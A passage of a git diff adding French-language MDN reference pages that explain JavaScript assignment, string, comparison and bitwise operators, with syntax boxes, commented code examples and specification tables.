+   <td>Defined in several sections of the specification: <a href="http://tc39.github.io/ecma262/#sec-bitwise-not-operator">opérateur NON binaire</a>, <a href="http://tc39.github.io/ecma262/#sec-bitwise-shift-operators">opérateurs binaires de décalage</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-bitwise-operators">opérateurs binaires</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.bitwise")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_logiques">Les opérateurs logiques</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/opérateurs_d_affectation/index.html b/files/fr/web/javascript/reference/opérateurs/opérateurs_d_affectation/index.html
new file mode 100644
index 0000000000..78c433de70
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/opérateurs_d_affectation/index.html
@@ -0,0 +1,413 @@
+---
+title: Opérateurs d'affectation
+slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators#Assignment_operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Un <strong>opérateur d'affectation</strong> permet d'assigner une valeur à son opérande gauche en se basant sur la valeur de son opérande droit.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'opérateur utilisé pour l'affectation est le symbole égal (<code>=</code>), il permet d'affecter la valeur de l'opérande droit à son opérande gauche. Ainsi, quand on écrit <code>x = y</code>, on affecte la valeur de <code>y</code> à <code>x</code>. Les autres opérateurs d'affectation sont généralement des raccourcis pour des opérations standards. Ils sont décrits ci-après avec définitions et exemples.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Nom</th>
+   <th>Opérateur (raccourci)</th>
+   <th>Signification</th>
+  </tr>
+  <tr>
+   <td><a href="#Assignment">Affectation</a></td>
+   <td><code>x = y</code></td>
+   <td><code>x = y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Addition_assignment">Affectation après addition</a></td>
+   <td><code>x += y</code></td>
+   <td><code>x = x + y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Subtraction_assignment">Affectation après soustraction</a></td>
+   <td><code>x -= y</code></td>
+   <td><code>x = x - y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Multiplication_assignment">Affectation après multiplication</a></td>
+   <td><code>x *= y</code></td>
+   <td><code>x = x * y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Division_assignment">Affectation après division</a></td>
+   <td><code>x /= y</code></td>
+   <td><code>x = x / y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Remainder_assignment">Affectation du reste</a></td>
+   <td><code>x %= y</code></td>
+   <td><code>x = x % y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Exponentiation">Affectation après exponentiation</a></td>
+   <td><code>x **= y</code></td>
+   <td><code>x = x ** y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift_assignment">Affectation après décalage à gauche</a></td>
+   <td><code>x &lt;&lt;= y</code></td>
+   <td><code>x = x &lt;&lt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Right_shift_assignment">Affectation après décalage à droite</a></td>
+   <td><code>x &gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Unsigned_right_shift_assignment">Affectation après décalage à droite non-signé</a></td>
+   <td><code>x &gt;&gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_AND_assignment">Affectation après ET binaire</a></td>
+   <td><code>x &amp;= y</code></td>
+   <td><code>x = x &amp; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_XOR_assignment">Affectation après OU exclusif binaire</a></td>
+   <td><code>x ^= y</code></td>
+   <td><code>x = x ^ y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_OR_assignment">Affectation après OU binaire</a></td>
+   <td><code>x |= y</code></td>
+   <td><code>x = x | y</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Affectation"><a name="Assignment">Affectation</a></h2>
+
+<p>L'opérateur d'affectation simple permet d'assigner une valeur à une variable. Le résultat de l'affectation est la valeur affectée. Il est possible de chaîner plusieurs opérateurs d'affectation afin d'assigner une même valeur à plusieurs variables. Voir l'exemple ci-après.</p>
+
+<h4 id="Syntaxe">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x = y
+</pre>
+
+<h4 id="Exemples">Exemples</h4>
+
+<pre class="brush: js">// Si on dispose des variables suivantes :
+//  x = 5;
+//  y = 10;
+//  z = 25;
+
+x = y;     // x vaudra désormais 10
+x = y = z; // x, y et z valent désormais tous 25
+</pre>
+
+<h3 id="Affectation_après_addition"><a name="Addition_assignment">Affectation après addition</a></h3>
+
+<p>Cet opérateur permet d'ajouter la valeur de l'opérande droit à une variable, le résultat de l'addition étant affecté à cette variable. Les types des deux opérandes déterminent le comportement de l'opérateur. Selon le type, on pourra en effet avoir une addition ou une concaténation. Voir la page sur l'opérateur d'{{jsxref("Opérateurs/Opérateurs_arithmétiques", "addition", "#Addition_(.2B)", 1)}} pour plus d'informations.</p>
+
+<h4 id="Syntaxe_2">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x += y
+<strong>Signification :</strong>  x  = x + y
+</pre>
+
+<h4 id="Exemples_2">Exemples</h4>
+
+<pre class="brush: js">// Si on dispose des variables suivantes :
+//  toto = "toto";
+//  truc = 5;
+//  machin = true;
+
+
+// Nombre + Nombre -&gt; addition
+truc += 2; // 7
+
+// Booléen + Booléen -&gt; addition
+machin += 1; // 2
+
+// Booléen + Booléen -&gt; addition
+machin += false; // 1
+
+// Nombre + String -&gt; concaténation
+truc += "toto"; // "5toto"
+
+// String + Booléen -&gt; concaténation
+toto += false; // "totofalse"
+
+// String + String -&gt; concaténation
+toto += "truc"; // "tototruc"
+</pre>
+
+<h3 id="Affectation_après_soustraction"><a name="Subtraction_assignment">Affectation après soustraction</a></h3>
+
+<p>Cet opérateur soustrait la valeur de l'opérande droit à la variable puis affecte le résultat de cette soustraction à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_arithmétiques", "soustraction", "#Soustraction_(-)", 1)}} pour plus d'information.</p>
+
+<h4 id="Syntaxe_3">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x -= y
+<strong>Signification :</strong>  x  = x - y
+</pre>
+
+<h4 id="Exemples_3">Exemples</h4>
+
+<pre class="brush: js">// Si on a la variable suivante :
+//  truc = 5;
+
+truc -= 2;     // 3
+truc -= "toto"; // NaN
+</pre>
+
+<h3 id="Affectation_après_multiplication"><a name="Multiplication_assignment">Affectation après multiplication</a></h3>
+
+<p>Cet opérateur permet de multiplier une variable par la valeur de l'opérande droit et d'affecter le résultat de cette opération à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_arithmétiques", "multiplication", "#Multiplication_(*)", 1)}} pour plus d'informations.</p>
+
+<h4 id="Syntaxe_4">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x *= y
+<strong>Signification :</strong>  x  = x * y
+</pre>
+
+<h4 id="Exemples_4">Exemples</h4>
+
+<pre class="brush: js">// Si on a la variable suivante :
+//  truc = 5;
+
+truc *= 2;     // 10
+truc *= "toto"; // NaN
+</pre>
+
+<h3 id="Affectation_après_division"><a name="Division_assignment">Affectation après division</a></h3>
+
+<p>Cet opérateur permet de diviser une variable par la valeur de l'opérande droit et d'affecter le résultat de cette opération à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_arithmétiques", "division", "#Division_(.2F)", 1)}} pour plus d'informations.</p>
+
+<h4 id="Syntaxe_5">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x /= y
+<strong>Signification :</strong>  x  = x / y
+</pre>
+
+<h4 id="Exemples_5">Exemples</h4>
+
+<pre class="brush: js">// Si on a la variable suivante :
+//  truc = 5;
+
+truc /= 2;     // 2.5
+truc /= "toto"; // NaN
+truc /= 0;     // Infinity
+</pre>
+
+<h3 id="Affectation_du_reste"><a name="Remainder_assignment">Affectation du reste</a></h3>
+
+<p>Cet opérateur permet de divisier une variable par la valeur de l'opérande droit et d'affecter le reste de cette division à la variable. Pour plus d'informations, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_arithmétiques", "reste", "#Reste_(.25)", 1)}}.</p>
+
+<h4 id="Syntaxe_6">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x %= y
+<strong>Signification :</strong>  x  = x % y
+</pre>
+
+<h4 id="Exemples_6">Exemples</h4>
+
+<pre class="brush: js">// Si on a la variable suivante :
+//  truc = 5;
+
+truc %= 2;      // 1
+truc %= "toto"; // NaN
+truc %= 0;      // NaN
+</pre>
+
+<h3 id="Affectation_après_exponentiation"><a id="Exponentiation" name="Exponentiation">Affectation après exponentiation</a></h3>
+
+<p>L'opérateur d'affectation après exponentiation renvoie le résultat de l'élévation du premier opérande à la puissance donnée par le second opérande. Pour plus de détails, voir la page sur {{jsxref("Opérateurs/Opérateurs_arithmétiques", "l'opérateur d'exponentiation", "#Exponentiation_(**)", 1)}} for more details.</p>
+
+<h4 id="Syntaxe_7">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x **= y
+<strong>Signification :</strong>  x  = x ** y
+</pre>
+
+<h4 id="Exemples_7">Exemples</h4>
+
+<pre class="brush: js">// Si on a la variable :
+//  toto = 5
+
+toto **= 2      // 25
+toto **= "truc" // NaN</pre>
+
+<h3 id="Affectation_après_décalage_à_gauche"><a name="Left_shift_assignment">Affectation après décalage à gauche</a></h3>
+
+<p>Cet opérateur permet de décaler un nombre donné de bits vers la gauche, le résultat de l'opération est ensuite affecté à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_binaires", "décalage à gauche", "#.3C.3C_.28d.C3.A9calage_.C3.A0_gauche.29", 1)}} pour plus d'informations.</p>
+
+<h4 id="Syntaxe_8">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x &lt;&lt;= y
+<strong>Signification :</strong>  x   = x &lt;&lt; y
+</pre>
+
+<h4 id="Exemples_8">Exemples</h4>
+
+<pre class="brush: js">var toto = 5; //  (00000000000000000000000000000101)
+toto &lt;&lt;= 2;   // 20 (00000000000000000000000000010100)
+</pre>
+
+<h3 id="Affectation_après_décalage_à_droite"><a name="Right_shift_assignment">Affectation après décalage à droite</a></h3>
+
+<p>Cet opérateur permet de décaler un nombre donné de bits vers la droite, le résultat de l'opération est ensuite affecté à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_binaires", "décalage à droite", "##.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_propagation_du_signe.29", 1)}} pour plus d'informations.</p>
+
+<h4 id="Syntaxe_9">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x &gt;&gt;= y
+<strong>Signification :</strong>  x   = x &gt;&gt; y
+</pre>
+
+<h4 id="Exemples_9">Exemples</h4>
+
+<pre class="brush: js">var toto = 5; //   (00000000000000000000000000000101)
+toto &gt;&gt;= 2;   // 1 (00000000000000000000000000000001)
+
+var toto -5; //    (-00000000000000000000000000000101)
+toto &gt;&gt;= 2;  // -2 (-00000000000000000000000000000010)
+</pre>
+
+<h3 id="Affectation_après_décalage_à_droite_non-signé"><a name="Unsigned_right_shift_assignment">Affectation après décalage à droite non-signé</a></h3>
+
+<p>Cet opérateur permet de décaler le contenu de la variable d'un nombre de bits donné pour ensuite affecter le résultat à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_binaires", "décalage à droite non-signé", "#.3E.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_insertion_de_z.C3.A9ros.29", 1)}} pour plus de détails.</p>
+
+<h4 id="Syntaxe_10">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x &gt;&gt;&gt;= y
+<strong>Signification :</strong>  x    = x &gt;&gt;&gt; y
+</pre>
+
+<h4 id="Exemples_10">Exemples</h4>
+
+<pre class="brush: js">var toto = 5; //   (00000000000000000000000000000101)
+toto &gt;&gt;&gt;= 2;  // 1 (00000000000000000000000000000001)
+
+var toto = -5; // (-00000000000000000000000000000101)
+toto &gt;&gt;&gt;= 2; // 1073741822 (00111111111111111111111111111110)</pre>
+
+<h3 id="Affectation_après_ET_binaire"><a name="Bitwise_AND_assignment">Affectation après ET binaire</a></h3>
+
+<p>Cet opérateur effectue une opération ET binaire sur les deux opérandes et affecte le résultat de l'opération à la variable (l'opérande gauche). Pour plus d'informations sur cette opération, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_binaires", "binaire ET", "#&amp;_.28ET_binaire.29", 1)}}.</p>
+
+<h4 id="Syntaxe_11">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x &amp;= y
+<strong>Signification :</strong>  x  = x &amp; y
+</pre>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre class="brush: js">var truc = 5;
+// 5:     00000000000000000000000000000101
+// 2:     00000000000000000000000000000010
+truc &amp;= 2; // 0
+</pre>
+
+<h3 id="Affectation_après_OU_exclusif_(XOR)_binaire"><a name="Bitwise_XOR_assignment">Affectation après OU exclusif (<em>XOR</em>) binaire</a></h3>
+
+<p>Cet opérateur utilise une représentation binaire des deux opérandes, effectue une opération binaire avec un OU exclusif et affecte le résultat à la variable. Pour plus d'informations sur cette opération, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_binaires", "binaire OU exclusif", "#.5E_.28XOR_binaire.29", 1)}}.</p>
+
+<h4 id="Syntaxe_12">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x ^= y
+<strong>Signification :</strong>  x  = x ^ y
+</pre>
+
+<h4 id="Exemple_2">Exemple</h4>
+
+<pre class="brush: js">var toto = 5;
+toto ^= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+</pre>
+
+<h3 id="Affectation_après_OU_binaire"><a name="Bitwise_OR_assignment">Affectation après OU binaire</a></h3>
+
+<p>Cet opérateur utilise une représentation binaire des deux opérandes, effectue un OU logique binaire entre ces deux variables et affecte le résultat de l'opération à la variable. Pour plus de détails sur cette opération, voir la page sur l'opérateur {{jsxref("Opérateurs/Opérateurs_binaires", "OU binaire", "#|_.28OU_binaire.29", 1)}}.</p>
+
+<h4 id="Syntaxe_13">Syntaxe</h4>
+
+<pre class="syntaxbox"><strong>Opérateur :</strong> x |= y
+<strong>Signification :</strong>  x  = x | y
+</pre>
+
+<h4 id="Exemple_3">Exemple</h4>
+
+<pre class="brush: js">var toto = 5;
+toto |= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+</pre>
+
+<h2 id="Exemples_11">Exemples</h2>
+
+<h3 id="Opérande_gauche_utilisé_avec_un_autre_opérateur_d'affectation">Opérande gauche utilisé avec un autre opérateur d'affectation</h3>
+
+<p>Dans certains cas, l'opérateur d'affectation (par exemple<code> x += y</code>) n'est pas identique à l'expression développée correspondante (respectivement <code>x = x + y</code>). Lorsque l'opérande gauche contient lui-même un opérateur d'affectation, l'opérande gauche n'est évalué qu'une fois. Ainsi :</p>
+
+<pre class="brush: js">a[i++] += 5         // i est évalué une fois
+a[i++] = a[i++] + 5 // i est évalué deux fois
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-assignment-operators', 'Assignment operators')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.13', 'Assignment operators')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.13', 'Assignment operators')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.assignment")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques">Les opérateurs arithmétiques</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/opérateurs_de_chaînes/index.html b/files/fr/web/javascript/reference/opérateurs/opérateurs_de_chaînes/index.html
new file mode 100644
index 0000000000..ad0a7e526f
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/opérateurs_de_chaînes/index.html
@@ -0,0 +1,27 @@
+---
+title: Opérateurs de chaînes
+slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_de_chaînes
+translation_of: Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition
+---
+<p> </p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>En complément des opérateurs de comparaison, qui peuvent être utilisés sur des valeurs chaînes de caractères, l'opérateur de concaténation (<code>+</code>) permet d'assembler deux chaînes, en renvoyant une nouvelle chaîne étant l'union des deux opérandes chaînes. Par exemple, <code>"ma " + "chaîne"</code> renvoie la chaîne <code>"ma chaîne"</code>.</p>
+<p>L'opérateur raccourci d'assignation <code>+=</code> peut également être utilisé pour concaténer des chaînes. Par exemple, si la variable <code>ma_chaine</code> a la valeur <code>"alpha"</code>, l'expression <code>ma_chaine += "bet"</code> sera évaluée à <code>"alphabet"</code> et assignera cette valeur à la variable <code>ma_chaine</code>.</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header" colspan="2">Opérateur</td>
+  </tr>
+  <tr>
+   <td>Implémentation :</td>
+   <td>JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>Version ECMA :</td>
+   <td>ECMA-262</td>
+  </tr>
+ </tbody>
+</table>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Operators/String_Operators", "es": "es/Referencia_de_JavaScript_1.5/Operadores/String", "pl": "pl/Dokumentacja_j\u0119zyka_JavaScript_1.5/Operatory/Operatory_dzia\u0142aj\u0105ce_na_ci\u0105gach_znak\u00f3w" } ) }}</p>
diff --git a/files/fr/web/javascript/reference/opérateurs/opérateurs_de_comparaison/index.html b/files/fr/web/javascript/reference/opérateurs/opérateurs_de_comparaison/index.html
new file mode 100644
index 0000000000..2e6ab2bb31
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/opérateurs_de_comparaison/index.html
@@ -0,0 +1,256 @@
+---
+title: Opérateurs de comparaison
+slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison
+tags:
+  - JavaScript
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>JavaScript possède des opérateurs de comparaisons stricts et des opérateurs de comparaisons qui effectuent des conversions. Une comparaison strict (ex. : <code>===</code>) ne sera vraie que si les deux opérandes sont du même type. La comparaison d'égalité faible (<code>==</code>) convertira les deux opérandes en un même type avant d'effectuer la comparaison. Pour les comparaisons relationnelles (ex. : <code>&lt;=</code>), les opérandes sont tout d'abord converties en valeurs, puis en valeurs du même type, enfin la comparaison est effectuée.</p>
+
+<p>Les chaînes de caractères sont comparées en fonction de l'ordre lexicographique, avec des valeurs Unicode.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-comparisonoperators.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les règles de comparaisons pour <a href="/fr/docs/Web/JavaScript/Structures_de_données#Les_valeurs_primitives">les types primitifs</a> sont les suivantes :</p>
+
+<ul>
+ <li>Deux chaînes de caractères sont strictement égales lorsqu'elles ont la même séquence de caractères, la même longueur et les mêmes caractères aux mêmes positions.</li>
+ <li>Deux nombres sont strictement égaux lorsqu'ils ont la même valeur. {{jsxref("Objets_globaux/NaN","NaN")}} n'est égal à rien, y compris lui-même. Le zéro positif et le zéro négatif sont considérés égaux.</li>
+ <li>Deux booléens sont strictement égaux s'ils valent tous les deux <code>true</code> ou tous les deux <code>false</code>.</li>
+ <li>Deux objets distincts ne sont jamais égaux l'un à l'autre (pour l'égalité faible et stricte).</li>
+ <li>Deux objets sont égaux si les deux opérandes sont des références au même objet.</li>
+ <li>Les types nul et indéfini sont strictement égaux à eux-mêmes et sont faiblement égaux l'un à autre.</li>
+</ul>
+
+<h2 id="Les_opérateurs_dégalité">Les opérateurs d'égalité</h2>
+
+<h3 id="Égalité_simple"><a>Égalité simple (==)</a></h3>
+
+<p>L'opérateur d'égalité simple convertit les deux opérandes s'<strong>ils ne sont pas du même type</strong>, ensuite la comparaison stricte est appliquée. Si <strong>les deux opérandes sont des objets</strong>, le moteur JavaScript comparera les références internes pour voir si elles réfèrent au même objet en mémoire.</p>
+
+<h4 id="Syntaxe">Syntaxe</h4>
+
+<pre class="syntaxbox">x == y
+</pre>
+
+<h4 id="Exemples">Exemples</h4>
+
+<pre class="brush: js"> 1   ==  1;        // true
+"1"  ==  1;        // true
+ 1   == '1';       // true
+ 0   == false;     // true
+ 0   == null;      // false
+ 0   == undefined  // false
+null == undefined  // true
+
+var obj1 = { "clé": "valeur"};
+var obj2 = { "clé": "valeur"};
+obj1 == obj2       // false
+</pre>
+
+<h3 id="Inégalité_simple_!"><a>Inégalité simple (!=)</a></h3>
+
+<p>L'opérateur d'inégalité simple renvoie <code>true</code> si les deux opérandes ne sont pas égaux. Si les deux opérandes <strong>ne sont pas du même type</strong>, une conversion sera effectuée vers un type adéquat. <strong>Si les deux opérandes sont des objets,</strong> le moteur JavaScript comparera les références internes pour voir si elles réfèrent à des objets différents en mémoire.</p>
+
+<h4 id="Syntaxe_2">Syntaxe</h4>
+
+<pre class="syntaxbox">x != y</pre>
+
+<h4 id="Exemples_2">Exemples</h4>
+
+<pre class="brush: js">1 !=   2;     // true
+1 !=  "1";    // false
+1 !=  '1';    // false
+1 !=  true;   // false
+0 !=  false;  // false
+</pre>
+
+<h3 id="Égalité_stricte"><a>Égalité stricte (===)</a></h3>
+
+<p>L'opérateur d'égalité stricte renvoie <code>true</code> si les opérandes sont strictement égaux (voir ci-avant), <strong>aucune conversion de type n'est effectuée</strong>.</p>
+
+<h4 id="Syntaxe_3">Syntaxe</h4>
+
+<pre class="syntaxbox">x === y</pre>
+
+<h4 id="Exemples_3">Exemples</h4>
+
+<pre class="brush: js ">3 === 3   // true
+3 === '3' // false
+
+var objet1 = {'clé': 'valeur'};
+var objet2 = {'clé': 'valeur'};
+objet1 === objet2; // false
+</pre>
+
+<h3 id="Inégalité_stricte_!"><a>Inégalité stricte (!==)</a></h3>
+
+<p>L'opérateur d'inégalité stricte renvoie <code>true</code> si les opérandes sont de types différents ou ne sont pas égaux.</p>
+
+<h4 id="Syntaxe_4">Syntaxe</h4>
+
+<pre class="syntaxbox">x !== y</pre>
+
+<h4 id="Exemples_4">Exemples</h4>
+
+<pre class="brush: js">3 !== '3' // true
+4 !== 3   // true
+</pre>
+
+<h2 id="Opérateurs_relationnels">Opérateurs relationnels</h2>
+
+<div class="note">
+<p><strong>Note :</strong> Chacun de ces opérateurs invoquera la fonction <code>valueOf()</code> des opérandes qui sont des objets avant d'effectuer la comparaison.</p>
+</div>
+
+<h3 id="Supérieur_strict_>"><a>Supérieur strict (&gt;)</a></h3>
+
+<p>Cet opérateur renvoie <code>true</code> si l'opérande gauche est strictement supérieur à l'opérande droit.</p>
+
+<h4 id="Syntaxe_5">Syntaxe</h4>
+
+<pre class="syntaxbox">x &gt; y</pre>
+
+<h4 id="Exemples_5">Exemples</h4>
+
+<pre class="brush: js">4 &gt; 3; // true
+</pre>
+
+<h3 id="Supérieur_ou_égal_>"><a>Supérieur ou égal (&gt;=)</a></h3>
+
+<p>Cet opérateur renvoie <code>true</code> si l'opérande gauche est supérieur ou égal à l'opérande droit</p>
+
+<h4 id="Syntaxe_6">Syntaxe</h4>
+
+<pre class="syntaxbox"> x &gt;= y</pre>
+
+<h4 id="Exemples_6">Exemples</h4>
+
+<pre class="brush: js">4 &gt;= 3; // true
+3 &gt;= 3; // true
+</pre>
+
+<h3 id="Inférieur_strict_&lt;"><a>Inférieur strict (&lt;)</a></h3>
+
+<p>Cet opérateur renvoie <code>true</code> si l'opérande gauche est strictement inférieur à l'opérande droit</p>
+
+<h4 id="Syntaxe_7">Syntaxe</h4>
+
+<pre class="syntaxbox"> x &lt; y</pre>
+
+<h4 id="Exemples_7">Exemples</h4>
+
+<pre class="brush: js">3 &lt; 4; // true
+</pre>
+
+<h3 id="Inférieur_ou_égal_&lt;"><a>Inférieur ou égal (&lt;=)</a></h3>
+
+<p>Cet opérateur renvoie <code>true</code> si l'opérande gauche est inférieur ou égal à l'opérande droit</p>
+
+<h4 id="Syntaxe_8">Syntaxe</h4>
+
+<pre class="syntaxbox"> x &lt;= y</pre>
+
+<h4 id="Exemples_8">Exemples</h4>
+
+<pre class="brush: js">3 &lt;= 4; // true
+</pre>
+
+<h2 id="Utiliser_les_opérateurs_dégalité">Utiliser les opérateurs d'égalité</h2>
+
+<p>Les opérateurs d'égalité/inégalité faible (<code>==</code> et <code>!=</code>) utilisent <a href="https://www.ecma-international.org/ecma-262/5.1/#sec-11.9.3">l'algorithme de comparaison d'égalité abstraite</a> afin de comparer les deux opérandes. Si les opérandes sont de types primitifs différents, le moteur tentera de les convertir en un même type avant d'effectuer la comparaison. Ainsi, dans l'expression <code>5 == '5'</code>, la chaîne de droite est convertie en un nombre avant que la comparaison soit faite.</p>
+
+<p>Les opérateurs d'égalité/inégalité stricte (<code>===</code> et <code>!==</code>) utilisent <a href="https://www.ecma-international.org/ecma-262/5.1/#sec-11.9.6">l'algorithme de comparaison d'égalité stricte</a>. Si les opérandes sont de types différents, le résultat sera toujours <code>false</code>, on aura donc <code>5 !== '5'</code>.</p>
+
+<p>Selon qu'on souhaite comparer des opérandes qui sont censés avoir le même type ou non, on utilisera l'un ou l'autre type d'opérateur.</p>
+
+<p>Si un opérande doit être comparé à un autre type, le moteur effectuera une conversion de la façon suivante :</p>
+
+<ul>
+ <li>Lorsqu'une comparaison est opérée entre une chaîne de caractères et un nombre, Javascript tente de convertir la chaine en une valeur numérique. Une valeur mathématique est obtenue à partir de la chaîne littérale numérique, puis celle-ci est arrondie à une valeur de type Nombre.</li>
+ <li>Si l'un des opérandes est de type booléen, <code>true</code> sera converti en 1 et <code>false</code> en +0.</li>
+ <li>Si on compare un objet avec un nombre ou une chaîne, le moteur JavaScript tentera de renvoyer la valeur par défaut de l'objet. Les opérateurs opèrent une conversion grâce aux méthodes <code>valueOf</code> (pour obtenir un nombre) et <code>toString</code> (pour obtenir une chaîne de caractères). Si cela ne fonctionne pas, une exception sera levée.</li>
+ <li>Un objet sera converti en un type primitif autre uniquement si l'autre opérande est un type primitif (autre qu'objet). Si les deux opérandes sont des objets, ils seront comparés comme deux objets (voir ci-avant) et l'égalité ne sera vérifiée que si les opérandes font référence au même objet en mémoire</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Voir également la page sur <a href="/fr/docs/Web/JavaScript/Les_diff%C3%A9rents_tests_d_%C3%A9galit%C3%A9_comment_les_utiliser">les différents tests d'égalité et quand les utiliser</a>.</p>
+</div>
+
+<div class="note"><strong>Note :</strong> Les objets String sont du type objet et ne sont pas de simples chaînes de caractères ! Cela peut parfois avoir des conséquences surprenantes :</div>
+
+<pre class="brush:js">// true car les deux opérandes sont du type primitif chaîne de caractères
+'toto' === 'toto'
+
+var a = new String('toto');
+var b = new String('toto');
+
+// false car a et b sont du type objet mais font référence à deux objets distincts
+a == b
+
+// false car a et b sont du type objet mais font référence à deux objets distincts
+a === b
+
